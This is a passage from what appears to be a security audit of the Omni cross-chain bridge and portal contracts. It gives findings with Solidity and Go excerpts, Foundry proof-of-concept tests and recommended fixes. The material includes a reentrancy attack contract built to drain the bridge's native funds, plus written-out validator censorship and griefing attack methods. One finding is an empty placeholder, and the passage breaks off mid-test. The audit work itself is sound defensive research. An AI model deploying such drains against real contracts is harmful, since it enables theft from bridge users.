The malicious actors can reenter this function unless `to` address is `address(0)` or xmsg is above or below gas limits. The gas limit check significantly reduces the amount of possible reentrancy calls however there is nothing stops the malicious actors completely from recalling xcall within the same block. While OmniBridgeNative contract has enough amount to transfer requested amount of native omni, following call which is implemented inside of the OmniBridgeNative::withdraw() won't fail even if payor hasn't enough

amount to send : `(bool success,) = to.call{ value: amount }("");` which means the malicious actors can use both lack of payor balance check and cross reentrancy vulnerability to drain native omnis.

- Impact Explanation A payor can withdraw all or many of the native omni funds from layer 1 to Omni by recalling `OmniBridgeNative::withdraw()` function through `OmniPortal::xcall()` or by directly calling the `OmniBridgeNative::withdraw()` function with a big amount and enough coin amount in case they have enough balance to afford required fee.
- Likelihood Explanation High
- Proof of Concept (if required) The issue can be regenerated by modifying OmniBridgeNative.t.sol as below then submitting `forge test --mt test_xReEntrancy -vvv` on console:

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.24;

import { TransparentUpgradeableProxy } from
↪  "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { MockPortal } from "test/utils/MockPortal.sol";
import { NoReceive } from "test/utils/NoReceive.sol";
import { IOmniPortal } from "src/interfaces/IOmniPortal.sol";
import { OmniBridgeNative } from "src/token/OmniBridgeNative.sol";
import { OmniBridgeL1 } from "src/token/OmniBridgeL1.sol";
import { ConfLevel } from "src/libraries/ConfLevel.sol";
import { Test } from "forge-std/Test.sol";
import { console } from "forge-std/console.sol";


 contract MockXReEntrancyAttack{
    address owner; //attacker address
    MockPortal portal;
    OmniBridgeNativeHarness b;
    OmniBridgeL1 l1Bridge;
    uint256 l1BridgeBalance;
    uint64 gasLimit;
    uint64 l1ChainId;
    uint64 count;
    uint256 ownerBalance;
    constructor(OmniBridgeL1 _l1Bridge, MockPortal _portal, OmniBridgeNativeHarness _b){
        l1Bridge = _l1Bridge;
        portal = _portal;
        b = _b;
        l1BridgeBalance = b.l1BridgeBalance();
        gasLimit=l1Bridge.XCALL_WITHDRAW_GAS_LIMIT();
        l1ChainId = 1;
        count =0;
    }

    function withdraw() external{
        ownerBalance += address(this).balance; //effect : update owner balance if the call below fails this
        ↪  state change will be reverted
        (bool success,) = payable(owner).call{value : address(this).balance}("");
        require(success, "Call failed!");
    }

    function OWNER_BALANCE() external view returns(uint256){
        return ownerBalance;
    }
    receive() external payable{
        if(count < 2){ //crossreentrancy variant : reenter crosschain withdraw function through xcall 3 times
        ↪  when this function is triggered
            count ++;
            portal.mockXCall({
                sourceChainId: l1ChainId,
                sender: address(l1Bridge),
                to: address(b),
                data: abi.encodeCall(OmniBridgeNative.withdraw, (owner,  address(this), 49e18,
                ↪  l1BridgeBalance)),
                gasLimit: gasLimit
            }); //OmniBridgeNative::withdraw() function will trigger this function again because of call()
            ↪  method.
        }
    }
 }
```

```
/**
 * @title OmniBridgeNative_Test
 * @notice Test suite for OmniBridgeNative contract.
 */
contract OmniBridgeNative_Test is Test {
    // Events copied from OmniBridgeNative.sol
    event Bridge(address indexed payor, address indexed to, uint256 amount);
    event Withdraw(address indexed payor, address indexed to, uint256 amount, bool success);
    event Claimed(address indexed claimant, address indexed to, uint256 amount);

    MockPortal portal;
    OmniBridgeNativeHarness b;
    OmniBridgeL1 l1Bridge;
    address owner;

    uint64 l1ChainId;
    uint256 totalSupply = 100_000_000 * 10 ** 18;

    function setUp() public {
        portal = new MockPortal();
        l1ChainId = 1;
        l1Bridge = new OmniBridgeL1(makeAddr("token"));
        owner = makeAddr("owner");

        address impl = address(new OmniBridgeNativeHarness());
        b = OmniBridgeNativeHarness(
            address(
                new TransparentUpgradeableProxy(
                    impl, owner, abi.encodeWithSelector(OmniBridgeNative.initialize.selector, (owner))
                )
            )
        );

        vm.prank(owner);
        b.setup(l1ChainId, address(portal), address(l1Bridge));
        vm.deal(address(b), totalSupply);
    }

    function test_bridge() public {
        address to = makeAddr("to");
        uint256 amount = 1e18;
        uint256 fee = b.bridgeFee(to, amount);

        // to must not be zero
        vm.expectRevert("OmniBridge: no bridge to zero");
        b.bridge(address(0), amount);

        // requires amount > 0
        vm.expectRevert("OmniBridge: amount must be > 0");
        b.bridge(to, 0);

        // requires l1BridgeBalance >= amount
        vm.expectRevert("OmniBridge: no liquidity");
        b.bridge(to, amount);

        b.setL1BridgeBalance(amount - 1);

        // still too low
        vm.expectRevert("OmniBridge: no liquidity");
        b.bridge(to, amount);

        b.setL1BridgeBalance(amount);

        // requires msg.value >= fee + amount
        vm.expectRevert("OmniBridge: insufficient funds");
        b.bridge{ value: amount + fee - 1 }(to, amount);

        // succeeds
        //

        // emits event
        vm.expectEmit();
        emit Bridge(address(this), to, amount);

        // emits xcall
        uint256 feeWithExcess = fee + 1; // test that bridge forwards excess fee to portal
```

```
    vm.expectCall(
        address(portal),
        feeWithExcess,
        abi.encodeCall(
            IOmniPortal.xcall,
            (
                l1ChainId,
                ConfLevel.Finalized,
                address(l1Bridge),
                abi.encodeCall(OmniBridgeL1.withdraw, (to, amount)),
                b.XCALL_WITHDRAW_GAS_LIMIT()
            )
        )
    );
    b.bridge{ value: amount + feeWithExcess }(to, amount);

    // decrements l1BridgeBalance
    assertEq(b.l1BridgeBalance(), 0);
    vm.expectRevert("OmniBridge: no liquidity");
    b.bridge(to, amount);
}

function test_withdraw() public {
    address payor = makeAddr("payor");
    address to = makeAddr("to");
    uint256 amount = 1e18;
    uint256 l1BridgeBalance = 100e18;
    uint64 gasLimit = l1Bridge.XCALL_WITHDRAW_GAS_LIMIT();

    // sender must be portal
    vm.expectRevert("OmniBridge: not xcall");
    b.withdraw(payor, to, amount, l1BridgeBalance);

    // xmsg must be from l1Bridge
    vm.expectRevert("OmniBridge: not bridge");
    portal.mockXCall({
        sourceChainId: l1ChainId,
        sender: address(1234), // wrong
        to: address(b),
        data: abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, l1BridgeBalance)),
        gasLimit: gasLimit
    });

    // xmsg must be from l1ChainId
    vm.expectRevert("OmniBridge: not L1");
    portal.mockXCall({
        sourceChainId: l1ChainId + 1, // wrong
        sender: address(l1Bridge),
        to: address(b),
        data: abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, l1BridgeBalance)),
        gasLimit: gasLimit
    });

    // succeeds
    //
    // emits event
    vm.expectEmit();
    emit Withdraw(payor, to, amount, true);

    // transfers amount to to
    vm.expectCall(to, amount, "");
    uint256 gasUsed = portal.mockXCall({
        sourceChainId: l1ChainId,
        sender: address(l1Bridge),
        to: address(b),
        data: abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, l1BridgeBalance)),
        gasLimit: gasLimit
    });

    // log gas, to inform xcall gas limit
    console.log("OmniBridgeNative.withdraw(success=true) gas used: ", gasUsed);

    assertEq(to.balance, amount);

    // nothing claimable
    assertEq(b.claimable(payor), 0);
```

```
    // syncs l1BridgeBalance
    assertEq(b.l1BridgeBalance(), l1BridgeBalance);

    // adds claimable if to.call fails
    //
    address noReceiver = address(new NoReceive());

    vm.expectEmit();
    emit Withdraw(payor, noReceiver, amount, false);

    vm.expectCall(noReceiver, amount, "");
    gasUsed = portal.mockXCall({
        sourceChainId: l1ChainId,
        sender: address(l1Bridge),
        to: address(b),
        data: abi.encodeCall(OmniBridgeNative.withdraw, (payor, noReceiver, amount, l1BridgeBalance)),
        gasLimit: gasLimit
    });

    assertEq(b.claimable(payor), amount);

    // log gas, to inform xcall gas limit
    console.log("OmniBridgeNative.withdraw(success=false) gas used: ", gasUsed);
}

function test_claim() public {
    address claimant = makeAddr("claimant");
    address to = makeAddr("to");

    // must be xcall
    vm.expectRevert("OmniBridge: not xcall");
    b.claim(address(0));

    // must be from l1
    vm.expectRevert("OmniBridge: not L1");
    portal.mockXCall({
        sourceChainId: l1ChainId + 1, // wrong
        sender: claimant,
        to: address(b),
        data: abi.encodeCall(OmniBridgeNative.claim, to),
        gasLimit: 100_000
    });

    // to must not be zero
    vm.expectRevert("OmniBridge: no claim to zero");
    portal.mockXCall({
        sourceChainId: l1ChainId,
        sender: claimant,
        to: address(b),
        data: abi.encodeCall(OmniBridgeNative.claim, address(0)),
        gasLimit: 100_000
    });

    // claimant must have claimable
    vm.expectRevert("OmniBridge: nothing to claim");
    portal.mockXCall({
        sourceChainId: l1ChainId,
        sender: claimant,
        to: address(b),
        data: abi.encodeCall(OmniBridgeNative.claim, to),
        gasLimit: 100_000
    });

    // reverts on to.call failure
    //
    uint256 amount = 1e18;
    address noReceiver = address(new NoReceive());

    b.setClaimable(claimant, amount);

    vm.expectRevert("OmniBridge: transfer failed");
    portal.mockXCall({
        sourceChainId: l1ChainId,
        sender: claimant,
        to: address(b),
```

```
        data: abi.encodeCall(OmniBridgeNative.claim, noReceiver),
        gasLimit: 100_000
    });

    // succeeds
    //

    // emits event
    vm.expectEmit();
    emit Claimed(claimant, to, amount);

    // transfers claimable to to
    vm.expectCall(to, amount, "");
    portal.mockXCall({
        sourceChainId: l1ChainId,
        sender: claimant,
        to: address(b),
        data: abi.encodeCall(OmniBridgeNative.claim, to),
        gasLimit: 100_000
    });

    // claimable is zero
    assertEq(b.claimable(claimant), 0);

    // to has amount
    assertEq(to.balance, amount);
}

function test_pauseBridging() public {
    address to = makeAddr("to");
    uint256 amount = 1e18;
    bytes32 action = b.ACTION_BRIDGE();

    // pause bridging
    vm.prank(owner);
    b.pause(action);

    // assert paused
    assertTrue(b.isPaused(action));

    // bridge reverts
    vm.expectRevert("OmniBridge: paused");
    b.bridge(to, amount);

    // unpause bridging
    vm.prank(owner);
    b.unpause(action);

    // assert unpaused
    assertFalse(b.isPaused(action));

    // no longer paused
    vm.expectRevert("OmniBridge: no liquidity");
    b.bridge(to, amount);
}

function test_pauseWithdraws() public {
    address payor = makeAddr("payor");
    address to = makeAddr("to");
    uint256 amount = 1e18;
    uint256 l1BridgeBalance = 100e18;
    bytes32 action = b.ACTION_WITHDRAW();

    // pause withdraws
    vm.prank(owner);
    b.pause(action);

    // assert paused
    assertTrue(b.isPaused(action));

    // withdraw reverts
    vm.expectRevert("OmniBridge: paused");
    b.withdraw(payor, to, amount, l1BridgeBalance);

    // claim reverts
    vm.expectRevert("OmniBridge: paused");
```

```
    b.claim(to);

    // unpause
    vm.prank(owner);
    b.unpause(action);

    // assert unpaued
    assertFalse(b.isPaused(action));

    // no longer paused
    vm.expectRevert("OmniBridge: not xcall");
    b.withdraw(payor, to, amount, l1BridgeBalance);

    vm.expectRevert("OmniBridge: not xcall");
    b.claim(to);
}

function test_reinitilization_fails() public{
    address attacker = makeAddr('attacker');
    vm.expectRevert();
    b.initialize(attacker);
}

function test_pauseAll() public {
    address payor = makeAddr("payor");
    address to = makeAddr("to");
    uint256 amount = 1e18;
    uint256 l1BridgeBalance = 100e18;

    // pause all
    vm.prank(owner);
    b.pause();

    // assert actions paus
    assertTrue(b.isPaused(b.ACTION_BRIDGE()));
    assertTrue(b.isPaused(b.ACTION_WITHDRAW()));

    // bridge reverts
    vm.expectRevert("OmniBridge: paused");
    b.bridge(to, amount);

    // withdraw reverts
    vm.expectRevert("OmniBridge: paused");
    b.withdraw(payor, to, amount, l1BridgeBalance);

    // claim reverts
    vm.expectRevert("OmniBridge: paused");
    b.claim(to);

    // unpause all
    vm.prank(owner);
    b.unpause();

    assertFalse(b.isPaused(b.ACTION_BRIDGE()));
    assertFalse(b.isPaused(b.ACTION_WITHDRAW()));
}

function test_xReEntrancy() public{
    address attacker = makeAddr("attacker");
    console.log('Attacker balance before attack: ', attacker.balance);
    vm.prank(attacker);
    MockXReEntrancyAttack attackContract = new MockXReEntrancyAttack(l1Bridge, portal, b);
    address to = address(attackContract);
    console.log('attackContract balance before attack : ', to.balance);
    uint256 amount = 2e18;
    uint256 l1BridgeBalance = 100e18;
    uint64 gasLimit = l1Bridge.XCALL_WITHDRAW_GAS_LIMIT();

    // transfers amount to to
    vm.expectCall(to, amount, "");
    uint256 gasUsed = portal.mockXCall({
        sourceChainId: l1ChainId,
        sender: address(l1Bridge),
        to: address(b),
        data: abi.encodeCall(OmniBridgeNative.withdraw, (attacker, to, amount, l1BridgeBalance)),
        gasLimit: gasLimit
```

```
        });

        // log gas, to inform xcall gas limit
        console.log("OmniBridgeNative.withdraw(success=true) gas used: ", gasUsed);

        assertEq(to.balance, l1BridgeBalance);

        console.log('attackContract balance after attack: : ', to.balance);


        attackContract.withdraw();
        assertEq(attackContract.OWNER_BALANCE(), l1BridgeBalance); // check if attacker stole all the funds
        console.log('Attacker balance after the withdrawal of stolen funds : ', attackContract.OWNER_BALANCE());

    }
}

/**
 * @title OmniBridgeNativeHarness
 * @notice A harness for testing OmniBridgeNative that exposes setup and state modifiers.
 */
contract OmniBridgeNativeHarness is OmniBridgeNative {
    function setL1BridgeBalance(uint256 balance) public {
        l1BridgeBalance = balance;
    }

    function setClaimable(address claimant, uint256 amount) public {
        claimable[claimant] = amount;
    }
}
```

- Recommendation (optional)

1. It should be ensured that `OmniPortal::xcall()` function is not reentered by implementing nonReentrant modifier of OpenZeppelin to the OmniPortal::xcall() function.
2. It is a good practise for OmniBridgeNative::withdraw() function,making a mapping object that keeps track of the balance of the given payor address and reverts the function call if payor address does not have any registered balance on L1 which means any payor address should deposit the required amount onto Layer1 blockchain before executing crosschain withdraw function to `to` address. This can be achived by a mapping like the following one `mapping(address => uint256) public depositedOmniOfPayor` and updating its balance upon each native omni deposits or withdrawals.

3.1.45 Unhandled Execution Path in Cross-Chain Message Execution

Severity: High Risk

Context: OmniPortal.sol#L260-L272

- Summary The `OmniPortal` contract fails to revert transactions when cross-chain messages (`xmsg`) are directed to the contract itself, potentially leading to unexpected behavior and resource wastage. This vulnerability arises from the contract's design to log errors without halting execution, which can result in unintended state changes.
- Finding Description The issue is located in the `_exec` function, where the contract checks if `xmsg.to` is the contract's address but does not revert the transaction. Instead, it logs an error using the `XReceipt` event.

```
@=>     if (xmsg_.to == address(this)) {
            emit XReceipt(
                sourceChainId,
                shardId,
                offset,
                0,
                msg.sender,
                false,
                abi.encodeWithSignature("Error(string)", "OmniPortal: no xcall to portal")
            );

            return;
        }
```

- Impact Explanation Subsequent operations that depend on the success of the message may proceed under false assumptions, causing incorrect state changes.
- Scenario

1. A cross-chain message (`xmsg`) is crafted with the destination address set to the `OmniPortal` contract itself.
2. The `_exec` function processes this message.
3. Instead of reverting, the function emits an `XReceipt` event indicating failure but allows the transaction to continue.

- Proof of Concept Add this to `OmniPortal_exec.t.sol` and run it `forge test --match-test test_exec_xmsgToPortal_reverts -vvvv`.

```
function test_exec_xmsgToPortal_reverts() public {
    XTypes.Msg memory xmsg = _inbound_increment(1);
    XTypes.BlockHeader memory xheader = _xheader(xmsg);

    xmsg.to = address(portal); // intentionally set to portal address

    // It should revert with the message OmniPortal: no xcall to portal
    vm.chainId(xmsg.destChainId);
    portal.exec(xheader, xmsg);
}
```

```
log:
 emit XReceipt(sourceChainId: 102, shardId: 4, offset: 1, gasUsed: 0, relayer: OmniPortal_exec_Test:
↪  [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], success: false, error:
↪  0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000
↪  00000000000000000000000000001e4f6d6e69506f7274616c3a206e6f207863616c6c20746f20706f7274616c0000)
```

Despite `success:false`, this does not cause the transaction to fail (since it does not revert). Instead, the contract simply records this failure via an `XReceipt` event. This means that execution still continues.

- Recommendation Modify the `_exec` function to include a `revert` statement when `xmsg.to` is the contract's address.

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
    uint64 sourceChainId = xheader.sourceChainId;
    uint64 destChainId = xmsg_.destChainId;
    uint64 shardId = xmsg_.shardId;
    uint64 offset = xmsg_.offset;

    require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
    require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");

    // Additional checks...

    if (xmsg_.to == address(this)) {
-       emit XReceipt(
-           sourceChainId,
-           shardId,
-           offset,
-           0,
-           msg.sender,
-           false,
-           abi.encodeWithSignature("Error(string)", "OmniPortal: no xcall to portal")
-       );

-       return;
+       revert("OmniPortal: no xcall to portal");
    }

    // Continue with message execution...
}
```

3.1.46 Insufficient Shard Validation in Cross-Chain Call Initialization

Severity: High Risk

Context: OmniPortal.sol#L143-L144

- Summary The `OmniPortal` contract lacks robust validation for `shardId` during the initialization of cross-chain calls in the `xcall` function. This could allow unsupported `shardId` values to bypass checks, potentially leading to unauthorized actions, data inconsistencies, and security vulnerabilities.
- Finding Description The root cause of this vulnerability lies in the insufficient validation logic for `shardId` within the `xcall` function. The current implementation relies on a simple check against a mapping, which not comprehensive enough to prevent unsupported `shardId` values from being used.

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
        require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        // conf level will always be last byte of shardId. for now, shardId is just conf level
@=>     uint64 shardId = uint64(conf);
@=>     require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        uint256 fee = feeFor(destChainId, data, gasLimit);
        require(msg.value >= fee, "OmniPortal: insufficient fee");

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```


- Impact Explanation
- Execution on unsupported shards could result in data inconsistencies or corruption.
- If malicious actors can exploit this flaw, they able to perform unauthorized actions, disrupt the intended operation of the contract, or manipulate contract state, potentially leading to financial loss or system instability.
- Scenario

1. A user attempts to initiate a cross-chain call with an unsupported `shardId`.
2. The current validation logic fails to adequately check the validity of `shardId`.
3. The call proceeds, potentially leading to execution on an unsupported shard, causing unexpected behavior and security risks.

- Proof of Concept Add this to `OmniPortal_xcall.t.sol` and run it `forge test --match-test test_xcall_nonSupportedShard_reverts -vvvv`.

```
    function test_xcall_nonSupportedShard_reverts() public {
        XTypes.Msg memory xmsg = _outbound_increment();
        uint8 conf = uint8(xmsg.shardId);

        xmsg.shardId = 9999999; // 9999999 is not supported

        uint256 fee = portal.feeFor(xmsg.destChainId, xmsg.data, xmsg.gasLimit);

        // It should revert with the message OmniPortal: unsupported shard
        vm.chainId(thisChainId);
        portal.xcall{ value: fee }(xmsg.destChainId, conf, xmsg.to, xmsg.data, xmsg.gasLimit);
    }
```

```
log:
 emit XMsg(destChainId: 102, shardId: 4, offset: 1, sender: OmniPortal_xcall_Test:
↪  [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x3681a57C9d444Cc705d5511715Ca973D778bf839, data:
↪  0xd09de08a, gasLimit: 100000 [1e5], fees: 15007400000000 [1.5e13])
```

- Recommendation Implement a more robust validation mechanism for `shardId` by using a dedicated validation function and considering the use of enums or constants to define supported shard IDs.

```
  // Define supported shard IDs using an enum or constant list
+ enum SupportedShards { SHARD_1, SHARD_2, SHARD_3 }

function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
    external
    payable
    whenNotPaused(ActionXCall, destChainId)
{
    require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
    require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
    require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
    require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
    require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

    // Convert conf to shardId and validate
    uint64 shardId = uint64(conf);
-   require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

    // Validate shardId using a dedicated function
+   require(isShardSupported(shardId), "OmniPortal: unsupported shard");

    uint256 fee = feeFor(destChainId, data, gasLimit);
    require(msg.value >= fee, "OmniPortal: insufficient fee");

    outXMsgOffset[destChainId][shardId] += 1;

    emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit, fee);
}

  // Function to validate if a shardId is supported
+ function isShardSupported(uint64 shardId) internal view returns (bool) {
    // Example of checking against predefined supported shards
+   if (shardId == uint64(SupportedShards.SHARD_1) ||
+       shardId == uint64(SupportedShards.SHARD_2) ||
+       shardId == uint64(SupportedShards.SHARD_3)) {
+       return true;
    }
+   return false;
}
```


3.1.47 Validator Vote Censorship via Unverified Signature Stuffing in Block Proposals

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary A critical vulnerability can be exploited using the vote extension limit enforcement mechanism. A malicious validator, during their block proposal round, can bypass the vote extension limit by including multiple unverified signatures attributed to other validators in the AggVote structure. This attack can effectively censor honest validators by artificially inflating their vote counts beyond the allowed limit, causing their legitimate votes to be rejected.
- Finding Description The vulnerability exists in the `verifyAggVotes` function where vote counting occurs before signature verification. The code increments a validator's vote count based solely on the presence of their address in a signature, without verifying the signature's authenticity or checking for duplicates.

Key vulnerable code:

```
func (k *Keeper) verifyAggVotes(ctx context.Context, cChainID uint64, valset ValSet, aggs []*types.AggVote)
↪  error {
    countsPerVal := make(map[common.Address]uint64)
    for _, agg := range aggs {
        for _, sig := range agg.Signatures {
            addr, err := sig.ValidatorEthAddress()
            if err != nil {
                return err
            }

            if !valset.Contains(addr) {
                return errors.New("vote from unknown validator"...)
            }

            countsPerVal[addr]++
            if countsPerVal[addr] > k.voteExtLimit {
                return errors.New("vote extension limit exceeded"...)
            }
        }
    }
    return nil
}
```

The code fails to:

1. Verify signature authenticity before counting
2. Check for duplicate signatures within an AggVote
3. Validate the signature corresponds to actual vote data

- Impact Explanation The vulnerability has severe implications for network consensus and security:

1. **Vote Censorship**: Malicious validators can prevent legitimate votes from being included by artificially exceeding their vote limit.
2. **Consensus Disruption**: By selectively censoring votes from specific validators, attackers can influence the network's consensus process.
3. **Network Trust**: Honest validators may appear to be misbehaving due to exceeded vote limits they didn't actually exceed.

- Likelihood Explanation The likelihood of exploitation is considered high for the following reasons:

1. **Low Resource Requirement**: The attack requires only validator status with proposal rights.
2. **Simple Execution**: The attack can be performed by simply including fabricated signatures in the AggVote structure.

- Proof of Concept A malicious validator can execute this attack during their block proposal round:
- Crafting Malicious AggVotes:
  - Include multiple signatures with the same ValidatorAddress (belonging to an honest validator) in an AggVote.
  - The signatures can be invalid, duplicates, or random data, as they are not verified before counting.
- Submitting the Malicious AggVote:
  - The AggVote is submitted to the Keeper for processing.
  - The verifyAggVotes function processes the AggVote and counts the signatures per validator.
- Triggering Vote Rejection:
  - The artificially inflated countsPerVal[addr] for the honest validator exceeds k.voteExtLimit.
  - The verifyAggVotes function returns an error, effectively rejecting all the votes from the honest validator in that AggVote.
- Recommendation

3.1.48 Malicious validator can trigger frequent validator set updates to grief the relayer and brick streams

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

In `Staking.sol` there is a way for validators to perform self-delegations. The minimum delegation amount is 1 OMNI (~$10 USD)

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/contracts/core/src/octane/Staking.sol#L103

```
    /**
     * @notice Increase your validators self delegation.
     *         NOTE: Only self delegations to existing validators are currently supported.
     *         If msg.sender is not a validator, the delegation will be lost.
     * @dev Proxies x/staking.MsgDelegate
     */
    function delegate(address validator) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
        require(msg.value >= MinDelegation, "Staking: insufficient deposit");

        // only support self delegation for now
        require(msg.sender == validator, "Staking: only self delegation");

        emit Delegate(msg.sender, validator, msg.value);
    }
```

This will be picked up by Cosmos, and result in a validator update to the consensus power. After each consensus block (~2 seconds), all validator updates will be tracked and propagated to all the OMNI portals this is handled in `EndBlock` in the `valsync` module

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/valsync/keeper/keeper.go#L97


```
func (k *Keeper) EndBlock(ctx context.Context) ([]abci.ValidatorUpdate, error) {
    updates, err := k.sKeeper.EndBlocker(ctx)
    if err != nil {
        return nil, errors.Wrap(err, "staking keeper end block")
    }

    if err := k.maybeStoreValidatorUpdates(ctx, updates); err != nil {
        return nil, err
    }

    // The subscriber is only added after `InitGenesis`, so ensure we notify it of the latest valset.
    if err := k.maybeInitSubscriber(ctx); err != nil {
        return nil, err
    }

    // Check if any unattested set has been attested to (and return its updates).
    return k.processAttested(ctx)
}
```

The problem is the gas cost of updating the validator set in Omni Portals, especially the one on Ethereum will be high and this will be fully paid by the relayer

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/contracts/core/src/xchain/OmniPortal.sol#L392

```
function _addValidatorSet(uint64 valSetId, XTypes.Validator[] calldata validators) internal {
    uint256 numVals = validators.length;
    require(numVals > 0, "OmniPortal: no validators");
    require(valSetTotalPower[valSetId] == 0, "OmniPortal: duplicate val set");

    uint64 totalPower;
    XTypes.Validator memory val;
    mapping(address => uint64) storage _valSet = valSet[valSetId];

    for (uint256 i = 0; i < numVals; i++) {
        val = validators[i];

        require(val.addr != address(0), "OmniPortal: no zero validator");
        require(val.power > 0, "OmniPortal: no zero power");
        require(_valSet[val.addr] == 0, "OmniPortal: duplicate validator");

        totalPower += val.power;
        _valSet[val.addr] = val.power;
    }

    valSetTotalPower[valSetId] = totalPower;

    if (valSetId > latestValSetId) latestValSetId = valSetId;

    emit ValidatorSetAdded(valSetId);
}
```

From the code above, for an example validator set of 30 (which is the max validators available in the validator set configured on Omni), it would require a minimum gas of:

- 21000 intrinsic gas cost
- 22100 for 1 cold zero to non-zero SSTORES to store the total validator power
- 30 * 22100 = 663000 for 30 cold zero to non-zero SSTORES to store the individual validator power

Altogether at least 700K gas is required to update the Omni Portal for a validator set of 30 validators. Assuming a reasonable gas price of 20 gwei (it could be higher on peak) and ETH price of $2500, this translates to $35 at minimum for every Omni update.

A malicious validator can stake the minimum delegation of 1 OMNI ($10) every consensus block to cause a $35 loss to the relayer. It will also cause a lot of unnecessary consensus work to perform the work required in `valsync` module to propagate the validator set update.

It can also cause an XStream to be stale and therefore stalled as per the known issue, although the known issue misses that the malicious validator can trigger self-delegations.

- Recommendation

Consider charging the validator for every delegation, or a form of rate limit to prevent too frequent validator updates every consensus block (~2 second period)

3.1.49 Placeholder

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

placeholder

3.1.50 Impossible to add new Validator Sets after initializing OmniPortal.sol

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary Overly restrictive access control in `xcall` function in `OmniPortal` makes it impossible to add new validator sets after initialization function is executed
- Finding Description OmniPortals are deployed on Rollups, Ethereum L1, and the native Omni blockchain. It is the contract responsible for Cross-chain calls, managing Validators, executing those calls, ensuring a `quorum` of `Validators` is reached, and much more.

It uses a `_sysCall` function to call functions on the portal that should only be callable by the `Omni` Consensus chain, as these are critical functions that control important Network functionality.

OmniPortal.sol#L322-355

```
function _syscall(bytes calldata data) internal returns (bool, bytes memory, uint256) {
    uint256 gasUsed = gasleft();
    (bool success, bytes memory result) = address(this).call(data);
    gasUsed = gasUsed - gasleft();

    // if not success, revert with same reason
    if (!success) {
        assembly {
            revert(add(result, 32), mload(result))
        }
    }

    return (success, result, gasUsed);
}
```

In the `_exec` function, a check is made to determine if the `XMsg` is to be called by `_call` (which is a regular call to an external contract) or to be called by `_syscall` (functions only callable by the Omni Consensus chain).

OmniPortal.sol#277-279

```
(bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls to
↪  VirtualPortalAddress are syscalls
    ? _syscall(xmsg_.data)
    : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);
```

However in `xcall()`, any `XCalls` that are directed to the `VirtualPortalAddress` (address(0)) will cause a revert due to the require statement `to != VirtualPortalAddress`.

OmniPortal.sol#137

```
require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
```

And since `addValidatorSet()` has a `require` statement `msg.sender == address(this)`, making them only callable via `xcall`, `addValidatorSet()` is rendered `uninvokable` after the `OmniPortal` has been initialized.

OmniPortal.sol#358

```
require(msg.sender == address(this), "OmniPortal: only self");
```

- Impact Explanation Omni admin starts the deployment process of an OmniPortal (say on a Rollup);
- Deploys OmniPortal contract
- Sets Proxy to it, initializes all variables with their configurations, and sets the initial set of Validators
- Attempts XCall to add new Validators
- XCall fails because `to == VirtualPortalAddress`

The direct impact of this vulnerability is only one set of Validators can be ever added to the Portal, and in the event of compromise of those Validators, there is no mechanism to add new ones to dilute their voting power. Hence they can reach a quorum on whatever `XCalls` they wish to validate.

- Likelihood Explanation This bug is not easily detectable in the foundry test environment, as it is not possible to bootstrap the `relayer`, the `consensus chain`, and other needed components for a complete deployment environment. However the developers have done an brilliant job of using a harness `PortalHarness.sol` and fixtures `Fixtures.sol` to try to simulate the execution flow of Omni ecosystem.

The chances of this bug appearing is certain, as the contracts will be deployed normally, but any attempt to add to the set of Validators will revert.

- Proof of Concept (if required) The code below demonstrates the execution flow of the vulnerability.
- test_impossible_syscall() demonstrates how the consensus Chain can not make an xcall to add a validator set
- this vulnerability is undetectable in testing as helper harness functions such as setNetworkNoAuth() just call xsubmit() and _exec() directly, not through an xcall()

```
function test_impossible_syscall() public {
        XTypes.Msg memory xmsg;
        address CChainSender = address(0);

        (val1, val1PrivKey) = deriveRememberKey(valMnemonic, 0);
        (val2, val2PrivKey) = deriveRememberKey(valMnemonic, 1);

        valPrivKeys[val1] = val1PrivKey;
        valPrivKeys[val2] = val2PrivKey;

        XTypes.Validator[] storage genVals = validatorSet[genesisValSetId];
